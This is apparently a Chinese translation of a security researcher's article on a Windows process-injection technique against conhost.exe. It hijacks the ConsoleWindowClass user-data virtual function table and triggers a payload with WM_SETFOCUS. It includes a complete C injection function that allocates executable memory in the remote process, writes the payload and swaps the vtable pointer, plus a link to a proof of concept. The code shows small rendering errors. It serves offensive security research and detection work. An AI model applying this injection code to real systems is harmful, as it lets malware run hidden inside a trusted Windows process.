如何針對Windows中ConsoleWindowClass物件實現程序注入
概述
每個視窗物件都支援使用者資料(User Data),而使用者資料則可以通過SetWindowLongPtr API和GWLP_USERDATA引數進行設定。視窗物件的使用者資料通常只有部分記憶體,用於儲存指向類物件的指標。對於控制檯程式宿主(Console Window Host,Conhost)程序,其中通常會儲存資料結構的地址。在結構中,包含視窗在桌面的當前位置、大小、物件控制代碼及具有控制控制檯視窗行為的方法的類物件。
conhost.exe中的使用者資料儲存在具有可寫許可權的堆上。這樣一來,它就可以用於程序注入,並且其過程非常類似於我之前討論過的Extra Bytes方法( ofollow,noindex">https://modexp.wordpress.com/2018/08/26/process-injection-ctray/ )。
ConsoleWindowClass
在下圖中,我們可以看到控制檯應用程式所使用的視窗物件的屬性。請重點關注Window Proc欄位為空的原因。使用者資料欄位指向虛擬地址,但它並不是位於在控制檯應用程式之中。相反,使用者資料結構位於控制檯應用程式啟動時由系統生成的conhost.exe程序中。
下圖展現了視窗類的資訊,高亮標註的是負責處理視窗訊息的回撥過程的地址。
除錯conhost.exe
下圖展示了連線到控制檯主機的偵錯程式,以及對使用者資料值0x000001CB3836F580的轉儲。第一個64位值指向了方法(函式陣列)的虛擬函式表。
下圖展示了儲存在虛擬函式表中的方法列表:
在覆蓋任何內容之前,我們需要確定如何從外部應用程式觸發這些方法的執行。具體來說,需要為虛擬函式表設定“中斷訪問”(Break On Access,ba),並向視窗傳送訊息。下圖顯示了傳送WM_SETFOCUS訊息後觸發的斷點。
現在,我們已經掌握如何觸發執行。接下來,只需要劫持一個方法。在處理WM_SETFOCUS訊息時,首先會呼叫GetWindowHandle。下圖可以表明,此方法不需要任何引數,只需要從使用者資料中返回一個視窗控制代碼。
虛擬函式表
以下結構定義了conhost用於控制控制檯視窗行為的虛擬函式表。如果我們不使用GetWindowHandle(不帶任何引數)之外的方法,就不需要為其中的每個方法定義原型。
typedef struct _vftable_t { ULONG_PTREnableBothScrollBars; ULONG_PTRUpdateScrollBar; ULONG_PTRIsInFullscreen; ULONG_PTRSetIsFullscreen; ULONG_PTRSetViewportOrigin; ULONG_PTRSetWindowHasMoved; ULONG_PTRCaptureMouse; ULONG_PTRReleaseMouse; ULONG_PTRGetWindowHandle; ULONG_PTRSetOwner; ULONG_PTRGetCursorPosition; ULONG_PTRGetClientRectangle; ULONG_PTRMapPoints; ULONG_PTRConvertScreenToClient; ULONG_PTRSendNotifyBeep; ULONG_PTRPostUpdateScrollBars; ULONG_PTRPostUpdateTitleWithCopy; ULONG_PTRPostUpdateWindowSize; ULONG_PTRUpdateWindowSize; ULONG_PTRUpdateWindowText; ULONG_PTRHorizontalScroll; ULONG_PTRVerticalScroll; ULONG_PTRSignalUia; ULONG_PTRUiaSetTextAreaFocus; ULONG_PTRGetWindowRect; } ConsoleWindow;
使用者資料結構
下圖展示了使用者資料結構,其總大小為104位元組。由於預設情況下,分配的內容具有PAGE_READWRITE保護,所以可以使用包含Payload地址的副本,覆蓋指向虛擬函式表的指標。
完整函式
該函式演示了在觸發某些程式碼執行之前,如何藉助重複來替換虛擬函式表。我們的測試過程使用了64位版本的Windows 10系統。
VOID conhostInject(LPVOID payload, DWORD payloadSize) { HWNDhwnd; LONG_PTRudptr; DWORDpid, ppid; SIZE_Twr; HANDLEhp; ConsoleWindow cw; LPVOIDcs, ds; ULONG_PTRvTable; // 1. 獲取控制檯視窗的控制代碼和程序ID(PPID) //(假設已經有一個在執行) hwnd = FindWindow(L"ConsoleWindowClass", NULL); GetWindowThreadProcessId(hwnd, &ppid); // 2. 獲取主機程序的程序ID(PPID) pid = conhostId(ppid); // 3. 開啟conhost.exe程序 hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. 分配RWX記憶體,並在相應位置複製Payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, ≀); // 5. 讀取當前虛擬函式表的地址 udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA); ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), ≀); // 6. 將當前虛擬函式表讀入本地記憶體 ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), ≀); // 7. 為新虛擬函式表分配RW記憶體 ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 8. 使用Payload地址更新虛擬函式表的本地副本 //並寫入遠端程序 cw.GetWindowHandle = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), ≀); // 9. 更新遠端程序中虛擬函式表的指標 WriteProcessMemory(hp, (LPVOID)udptr, &ds, sizeof(ULONG_PTR), ≀); // 10. 觸發Payload的執行 SendMessage(hwnd, WM_SETFOCUS, 0, 0); // 11. 恢復指向原始虛擬函式表的指標 WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), ≀); // 12. 釋放記憶體並關閉控制代碼 VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
總結
本文所講解的注入過程是“Shatter”攻擊的另一種變體。與建立新執行緒的方法不同,這種方法是對視窗訊息和回撥函式進行了濫用,從而實現程式碼執行。這裡展示的方法僅適用於控制檯視窗,或者更具體來說是ConsoleWindowClass物件。相關PoC請參見: https://github.com/odzhan/injection/tree/master/conhost